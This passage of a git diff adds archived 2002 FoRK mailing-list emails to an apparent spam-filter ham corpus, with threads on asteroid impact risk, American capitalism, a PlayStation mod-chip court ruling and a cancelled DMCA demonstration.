for ; + Fri, 26 Jul 2002 04:14:18 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E3761294107; Thu, 25 Jul 2002 20:09:11 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 7DEAF2940E2 for ; + Thu, 25 Jul 2002 20:08:24 -0700 (PDT) +Received: from maya.dyndns.org (ts5-013.ptrb.interhop.net + [165.154.190.77]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6Q2hSE04548 for ; Thu, 25 Jul 2002 22:43:28 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id EDD261C39A; + Thu, 25 Jul 2002 22:51:21 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: Asteroids anyone ? +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2784.192.216.194.113.1027554358.squirrel@webmail.magnesium.net> + <20020725154846.M85654@networkcommand.com> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 25 Jul 2002 22:51:21 -0400 + +>>>>> "J" == Jon O writes: + + J> Has anyone considered the fact that these occurrances appear to + J> be increasing. I'm aware that maybe more publicity surrounding + J> some and certain agencies have been granted more funding, but + J> I'd like to see some data which shows if these are increasing + J> or not. + +I've seen data that shows 1200 rocks (TV-set sized and smaller) +crashing into the Ottawa skies /every/ /single/ /night/, and that's +just the background noise. Plots of that data show us passing through +hundreds of 'tubes' of debris, each indicative of some other larger +something out there, only a small handful of which have been +discovered. This is without even considering the one's headed this +way out of the Oort for their First Big Trip. + +One thing you will just have to get used to is hearing news of a +possible collision; we have only started funding the projects to look +for these things since Hollywood took an interest with Armageddon, and +we have only just recently turned on a bunch of new toys to do +automated sky surveys. There are also some new (and very clever) +amateur projects co-ordinating multiple telescopes to detect these +criters, one of which plans to network dozens of ground based machines +around the world. You may remember a few years back the 2028 doomsday +story -- consider them good ghost stories, then go back to work. + +20,000 years ago, one of them the size of Mt Everest just ever so +slightly grazed us and left a scar 400km long in the side of South +America before it scooted out into space. First nations people would +have been there then, and it would have seriously ruined their day. +Orbital elements tell us that our modern technology would have perhaps +given us 90-min advance warning. + +The near-miss earlier this month wasn't seen until it was already past +us; we can't detect rocks on their trip behind the Sun, and when they +come out slingshot to relativistic speeds, well, it's just too darn +late to do much of anything about it. On the inbound trip, even at +their max full-moon angle, these things are most often magnitude 16 or +way worse, which is many magnitudes fainter than what you see in the +deepest dark-skies; no one thought to paint them shiny and white. +They day before it "hits" my software says NT7 will be magnitude 14 -- +it's easier to see the space station. + +What's worse, the Sun is not a smooth hard spheric marble, it's a +twisted gelatinous hunk o' hunk o' burnin' love, so the precise warp +curve of space right near it's backside is (ahem) somewhat problematic +to compute precisely. It's also spewing considerable plasma flux in +all directions, and then there's all these other big gelatinous roaming +globs (Saturn, Jupiter, Uranus, Neptune) and some significant roaming +rubble (us), and damn it, they are all spinning too, and most of them +have a magnetosphere! + +Shit. Forget it. + +Learn to play the banjo. Take peppermint Rye-Kee Shee-At-Zoo relaxation +therapy and oodles of Ag-nasial I&I-drop suppliments, eat no kind of +frozen portion, and floss. Good planets are real hard to find, so +enjoy the one you got while it's here. Call your ma. Do an anonymous +kindness for your better half, another for a total stranger. Having +all the best toys is useless when they all spontaneously combust from +a global Wormwood shockwave. You should be diggin' it while it's +happenin' + +Like, just live your life like there's no tomorrow, ok? Don't bank on +being able to redeem yourself later. Yeah, sure, Osama could whack you +with some nail-coated fuel-air bombs, heck a mis-informed TopGun could +do it too, but the Good Lord could do it too, with pure, clean and +galactically EnviroFriendly kinetic energy, and He don't stand in line +for no Airport Security Check. Hell, fire and brimstone are +classically given in the reverse order; best to be on the impact side +of the planet. + +Learn to stop worrying and love the Rock. Besides, the rats and +cockroaches will survive, and they already know how to kickstart +evolution right back into Enrons, WorldComs and Calcuttas. They even +have all our wiring and plumbing diagrams and half of our socks. + +Are we going to get hit? Yup. + +When? Every 65 million years and, oh my lord, will you /look/ at the time! + +Where/what/when? Space is pretty big. Take the largest thing you can +imagine, double it, and add 10%: That is just the local pancake region +between us and the Sun. There's the whole rest of the disk of the +ecliptic and, which is where the NT7 observation came from, it has +only recently occurred to the meteor hunters to "look up" (or down); +almost the first shot looking /out/ of the ecliptic disk, and hoo-whee +there's this big sucker on an "11 tries for a dollar" close encounter +of the smack-em-good kind. + +This is what I love about astrophysics: we have theories as good as +anyone else (way better than psychology), and we debate and argue and +expound and conference and bellow and blurt about them, but every time +we turn on some new kind of robot sensor device to actually /look/ at +Reality, well she slaps us right in the face and says in her best Mae +West "Guess again, boys" -- no other science gets that chance (ok, +maybe some do) and there is nothing, _nothing_ more worthless than last +semester's astronomy text. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00899.ebda16f739e9e222b56d0c71ca51b82f b/bayes/spamham/easy_ham_2/00899.ebda16f739e9e222b56d0c71ca51b82f new file mode 100644 index 0000000..ce3369b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00899.ebda16f739e9e222b56d0c71ca51b82f @@ -0,0 +1,67 @@ +From fork-admin@xent.com Fri Jul 26 04:42:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C58BF440E7 + for ; Thu, 25 Jul 2002 23:42:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 04:42:08 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6Q3hd421655 for ; + Fri, 26 Jul 2002 04:43:39 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D9CCA2940FC; Thu, 25 Jul 2002 20:42:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id 6644F2940A2 for ; Thu, + 25 Jul 2002 20:41:44 -0700 (PDT) +Received: (qmail 48331 invoked from network); 26 Jul 2002 03:41:47 -0000 +Received: from dsl-64-195-248-145.telocity.com (HELO golden) + (64.195.248.145) by relay1.pair.com with SMTP; 26 Jul 2002 03:41:47 -0000 +X-Pair-Authenticated: 64.195.248.145 +Message-Id: <01fe01c23456$5d862760$640a000a@golden> +From: "Gordon Mohr" +To: +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2784.192.216.194.113.1027554358.squirrel@webmail.magnesium.net> + <20020725154846.M85654@networkcommand.com> + +Subject: Re: Asteroids anyone ? +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 20:41:45 -0700 + +Gary Lawrence Murphy writes: +> 20,000 years ago, one of them the size of Mt Everest just ever so +> slightly grazed us and left a scar 400km long in the side of South +> America before it scooted out into space. First nations people would +> have been there then, and it would have seriously ruined their day. + +Do you have any further information about this incident that +would me find more details on the web? + +- Gordon + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00900.a95137fbc6f04e8669849f4319a371bb b/bayes/spamham/easy_ham_2/00900.a95137fbc6f04e8669849f4319a371bb new file mode 100644 index 0000000..f803031 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00900.a95137fbc6f04e8669849f4319a371bb @@ -0,0 +1,62 @@ +From fork-admin@xent.com Fri Jul 26 06:48:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C03E9440E7 + for ; Fri, 26 Jul 2002 01:48:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 06:48:31 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6Q5oe427196 for ; + Fri, 26 Jul 2002 06:50:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A0B7F294102; Thu, 25 Jul 2002 22:49:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 7C57D29409F for ; + Thu, 25 Jul 2002 22:48:11 -0700 (PDT) +Received: (qmail 8290 invoked by uid 1111); 26 Jul 2002 05:48:12 -0000 +From: "Adam L. Beberg" +To: "Joseph S. Barrera III" +Cc: +Subject: Re: USA USA WE ARE NUMBER ....six. +In-Reply-To: <3D407B58.3070102@barrera.org> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 22:48:12 -0700 (PDT) + +On Thu, 25 Jul 2002, Joseph S. Barrera III wrote: + +> chris arkenberg wrote: +> > Cheers, Adam. +> > +> > Perhaps people are starting to notice how profit motive drains the +> > meaning out of their lives. +> +> And, having realized that, a lot of them are now having babies. +> I can't believe the number of friends at work who are now pregnant +> or have already just had their babies. + +The 9/11 boom is now well underway. Screaming newborns everywhere... + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00901.c433dbbc247c4d2758391c34b92f4e9d b/bayes/spamham/easy_ham_2/00901.c433dbbc247c4d2758391c34b92f4e9d new file mode 100644 index 0000000..c0b6d41 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00901.c433dbbc247c4d2758391c34b92f4e9d @@ -0,0 +1,91 @@ +From fork-admin@xent.com Fri Jul 26 07:05:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0735440E7 + for ; Fri, 26 Jul 2002 02:05:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 07:05:44 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6Q66d427995 for ; + Fri, 26 Jul 2002 07:06:39 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8456929410C; Thu, 25 Jul 2002 23:05:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 918F429410B for ; + Thu, 25 Jul 2002 23:04:45 -0700 (PDT) +Received: (qmail 8371 invoked by uid 1111); 26 Jul 2002 06:04:46 -0000 +From: "Adam L. Beberg" +To: chris arkenberg +Cc: +Subject: Re: USA USA WE ARE NUMBER ....six. +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 23:04:46 -0700 (PDT) + +On Thu, 25 Jul 2002, chris arkenberg wrote: + +> Perhaps people are starting to notice how profit motive drains the +> meaning out of their lives. Kinda sucks to be an ant farming for the +> corporate lords. Funny how most of the rest of the world is more and +> more apprehensive towards American Democracy. + +Drains what? My wallet you mean? America _is_ greed, that's who and what we +are. + +> I just went to DC for the first time. I was awestruck by the +> monuments, the words of Thomas Jefferson, the Spirit of Democracy set +> in stone. Amazing to think that in little more than 200 years our +> government could be so far removed from those honorable principles. +> Adam Smith presumed that the marketplace would regulate itself +> through morality, good faith, and responsibility. + +Those old white dudes could never see a world that wasnt ALL deeply +religeous (science wasnt up to speed yet). How could you not hold these +principles as just how you should act? They got that religeon and government +should not be the same thing, they didnt get that when society doesnt have +any beliefs are all (capitalism is more atheist then communism ever was) it +quickly goes to hell as some people have 100 billion and all the rest have +too dolla a day. + +Having been raised in a generally ethical way, it was a big jump to learn to +run a business. Lots of lessions in being ruthless, and a few about being +sure to hire large Italians to do debt collection (it works!). + +> Corporate America seems to feel that those principles stand in the way +> of making the real bucks. + +No shit, really? Seriously, if you're not all about screwing over the +customer, there is no place for you in the ruling class, and you certainly +cant play the American game. + +> Ah, socialized medicine. Siestas. 6 week vacation leave. I hear Spain is +> nice this time of year... + +That's living, here we only work, buy, and work more to buy more, like rats +on a wheel. I can't wait to be rich enough to move somewhere nice, if they +will let me get out alive that is. + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00902.a538cb6b30f5f3d28ea4261597ffa510 b/bayes/spamham/easy_ham_2/00902.a538cb6b30f5f3d28ea4261597ffa510 new file mode 100644 index 0000000..676ca5c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00902.a538cb6b30f5f3d28ea4261597ffa510 @@ -0,0 +1,91 @@ +From fork-admin@xent.com Fri Jul 26 07:31:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DDBAF440E7 + for ; Fri, 26 Jul 2002 02:31:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 07:31:06 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6Q6Wd429384 for ; + Fri, 26 Jul 2002 07:32:40 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EAEBA294115; Thu, 25 Jul 2002 23:31:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 190B2294108 for ; + Thu, 25 Jul 2002 23:30:53 -0700 (PDT) +Received: from maya.dyndns.org (ts5-043.ptrb.interhop.net + [165.154.190.107]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6Q661E23593; Fri, 26 Jul 2002 02:06:02 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 6EA311C39A; + Fri, 26 Jul 2002 01:07:15 -0400 (EDT) +To: "Gordon Mohr" +Cc: +Subject: Re: Asteroids anyone ? +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2784.192.216.194.113.1027554358.squirrel@webmail.magnesium.net> + <20020725154846.M85654@networkcommand.com> + <01fe01c23456$5d862760$640a000a@golden> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 26 Jul 2002 01:07:15 -0400 + +>>>>> "G" == Gordon Mohr writes: + + G> Gary Lawrence Murphy writes: + >> 20,000 years ago, one of them the size of Mt Everest just ever + >> so slightly grazed us and left a scar 400km long in the side of + >> South America + + G> Do you have any further information about this incident that + G> would me find more details on the web? + +Good question. This was covered in one of the amateur rags, maybe Sky +and Telescope or even Scienterrific American, long before there was any +web to speak of, but you'd think a 400km gash in the Earth would be +pretty easy to find ;) I remember it from an issue perhaps in the very +late 80's or early 90's. + +It's interesting to note that NT7 and many other NEO bodies are all on +trajectories that approach the Earth from under the ecliptic, so with +the Earth tilt, South America becomes a pretty good target. In trying +to find you a site through Google, I turned up several different +impact sites in Venezuela and Brazil, with ages ranging from 251M to +70 years, but not the 400km gash from the above story. + +The only google refs I found from that period is one in Arizona +(famous impact crater) and another in NM; do wish I had noted the +actual South American /country/ that contains the scar; Venezuela +sticks in my mind but I can't be certain. + +http://neo.jpl.nasa.gov/images/meteorcrater.html + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00903.ec8820827b3b3b89e471ba86d3ec88c8 b/bayes/spamham/easy_ham_2/00903.ec8820827b3b3b89e471ba86d3ec88c8 new file mode 100644 index 0000000..f27d4c0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00903.ec8820827b3b3b89e471ba86d3ec88c8 @@ -0,0 +1,99 @@ +From fork-admin@xent.com Fri Jul 26 10:34:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 35871440E7 + for ; Fri, 26 Jul 2002 05:34:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 10:34:10 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6Q9Vh405667 for ; + Fri, 26 Jul 2002 10:31:44 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 538C42940A1; Fri, 26 Jul 2002 02:30:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 1F87D2940AA for + ; Fri, 26 Jul 2002 02:29:13 -0700 (PDT) +Received: (qmail 29173 invoked by uid 508); 26 Jul 2002 09:29:16 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.226.149.80) by + venus.phpwebhosting.com with SMTP; 26 Jul 2002 09:29:16 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6Q9TB002478; Fri, 26 Jul 2002 11:29:12 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: "Jon O." +Cc: , , +Subject: Re: Asteroids anyone ? +In-Reply-To: <20020725154846.M85654@networkcommand.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 11:29:11 +0200 (CEST) + +On Thu, 25 Jul 2002, Jon O. wrote: + + +> Has anyone considered the fact that these occurrances appear to +> be increasing. I'm aware that maybe more publicity surrounding + +No, it's just we've started looking. After we've actually started looking +for deep infrasound (pressure waves) with a network of stations designed +to enforced the nuke test ban treaty we've discovered that pretty big +impacts are the norm. Current infrasound stations can detect +bolides/meteoroids in ~10 T TNT scale, but some 10 kT events are +relatively frequent. A number of people died in the Tunguska event (1908, +10-15 MT), despite it hitting in the middle of nowhere. + +http://216.239.39.100/search?q=cache:637JrhGDB5gC:www.lpi.usra.edu/meetings/5thMars99/pdf/6081.pdf+bolide+impact+kT+wave&hl=en&ie=UTF-8 + +In the Earth atmosphere a large number of bright light flashes of energies +in light impulse of about 0.1- 1 kt TNT and higher have been registered by +USA DoD satellites equipped with photoelectric detectors [9-11]. Intense +light impulses are created by impacts of meteoroids disrupted in the +atmosphere (mainly at altitudes of about 30-45 km). Several techniques for +the assessment of meteor- oid's characteristics from the light curves and +heights of peak intensities have been developed [3,12]. Using these +techniques the preatmospheric kinetic energy for Fifth International +Conference on Mars INITIATION OF SANDSTORMS: I.V.Nemtchinov, O.P.Popova, +V.A.Rybakov, V.V.Shuvalov a number of events was determined. The biggest +event is the 1 February 1994 with ini- tial energy as high as 30-40 kt TNT +(or initial mass of about 400 t). The bright flash with light energy of +about 4.5 kt TNT was caused by this meteoroid which deeply penetrated into +the atmosphere (at an angle of 45 degrees and velocity of 24 km/s) and +disintegrated above at altitudes of about 34 km and 21 km [9,12]. Another +famous impact event, the Sikhote-Alin meteor shower (12 February 1947 +event), may be compared with the 1 February 1994 event. Initial masses of +these meteoroids are probably the same, as well as the angle of trajectory +inclination, but the initial velocity of the Sikhote-Alin is almost twice +smaller. That caused fragmentation of 1 February 1994 meteoroid at higher +altitudes and probably large fragments constitute a smaller part of the +pre- breakdown mass in contrast to the Sikhote-Alin event. In a rarefied +atmosphere of Mars analogous im- pactors will penetrate into deeper layers +of the atmos- phere.They will disintegrate lower 15 km or even reach the +planet surface, partially in disrupted form. Only the first disruption +would occur if a meteoroid similar to that caused the 1 February 1994 will +enter into the Martian atmosphere. And this body would reach the Mars +surface as a tense swarm of fragments. The meteoroid similar to that +caused the Sikhote-Alin event would hit the surface in a form of large +frag- ments due to its low velocity. They will create crater with the size +similar to that of the undisrupted meteoroid. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00904.d5cb0c089eddf2dd8c97faf97a52d905 b/bayes/spamham/easy_ham_2/00904.d5cb0c089eddf2dd8c97faf97a52d905 new file mode 100644 index 0000000..2012f78 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00904.d5cb0c089eddf2dd8c97faf97a52d905 @@ -0,0 +1,77 @@ +From fork-admin@xent.com Mon Jul 29 11:28:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A431B44100 + for ; Mon, 29 Jul 2002 06:25:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:25 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QIfsr17823 for ; + Fri, 26 Jul 2002 19:41:55 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EBD9B29413A; Fri, 26 Jul 2002 11:40:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 72593294136 for ; Fri, + 26 Jul 2002 11:39:53 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id D624E3ECEB; + Fri, 26 Jul 2002 14:40:12 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id D495D3ECBD for ; Fri, + 26 Jul 2002 14:40:12 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Subject: Sony gets handed a set back in Ausyland +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 14:40:12 -0400 (EDT) + +http://www.abc.net.au/news/justin/weekly/newsnat-26jul2002-53.htm + +PlayStation owners win copyright case + +Owners of PlayStation consoles who modify their machines to play games +bought overseas have had a win in the Federal Court. + +Sony Computer Entertainment has failed in its claim that "chipping" breaks +copyright laws. + +Sony launched legal proceedings against a Sydney man, Eddy Stevens, for +allegedly selling pirated games and also providing and installing +modification chips. + +PlayStation consoles in Australia are different from those in the US and +Japan because of the different television formats. + +The court was told "chipping" allows people to play legitimately bought +overseas games and copies of games, but also pirated games. + +The judgement by Federal Court Justice Ronald Sackville says Sony failed +to prove that PlayStation consoles have a copyright protection measure +installed in the first place and therefore could not rule that a mod chip +breaks copyright legislation. + +Mr Stevens was found to have infringed trademark rules in relation to the +pirated games he sold a matter which will come before the court again next +month. + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00905.defebe39d659693316e71ad1cd70b127 b/bayes/spamham/easy_ham_2/00905.defebe39d659693316e71ad1cd70b127 new file mode 100644 index 0000000..8456408 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00905.defebe39d659693316e71ad1cd70b127 @@ -0,0 +1,79 @@ +From fork-admin@xent.com Mon Jul 29 11:28:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 04114440FF + for ; Mon, 29 Jul 2002 06:25:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:25 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QIY1r17349 for ; + Fri, 26 Jul 2002 19:34:01 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 21031294103; Fri, 26 Jul 2002 11:32:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 387952940B0 for ; Fri, + 26 Jul 2002 11:31:29 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 7B2533ED63; + Fri, 26 Jul 2002 14:31:48 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 79B673ECEB for ; Fri, + 26 Jul 2002 14:31:48 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Subject: Perens Backs Out of Stunt +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 14:31:48 -0400 (EDT) + +http://www.siliconvalley.com/mld/siliconvalley/business/columnists/dan_gillmor/ejournal/3735855.htm +Posted on Thu, Jul. 25, 2002 + +Copyright Law Thwarts Open Source Confab Demo +Posted by Dan Gillmor + + +Bruce Perens was going to demonstrate a modified DVD player at this week's +Open Source gathering in San Diego. He'd planned to show (Infoworld) how a +DVD player with its regional coding disabled could play DVDs with +different regional codes. + +Perens was going to do this in violation, he believed, of the Digital +Millennium Copyright Act, which bans the circumvention of technological +methods to protect copyrighted material from uses the owner doesn't want. +And the possibility of legal trouble led his employer, Hewlett-Packard, to +ask him not to do the demonstration. + +HP funds Perens to pursue a variety of free software projects. He was +willing to take the legal risks himself, he told me today, but HP worried +that it would be "a more juicy target," the kind of deep pockets that +might make the entertainment cartel drool. In that context it's +understandable why HP would be concerned, though I wish the company would +take a stand on the right side of this issue. + +So while Perens is going to talk about the DMCA's pernicious impact on +things like free software, he's not going to give his demonstration. A +shame, but that's how things are going these days. + +Hollywood is winning, folks. You are losing. And you'd better start caring + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00906.8954ab8472de12f18c0dc6fb4c254da7 b/bayes/spamham/easy_ham_2/00906.8954ab8472de12f18c0dc6fb4c254da7 new file mode 100644 index 0000000..9f3ef9a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00906.8954ab8472de12f18c0dc6fb4c254da7 @@ -0,0 +1,70 @@ +From fork-admin@xent.com Mon Jul 29 11:28:47 2002 +Return-Path: +Delivered-To: 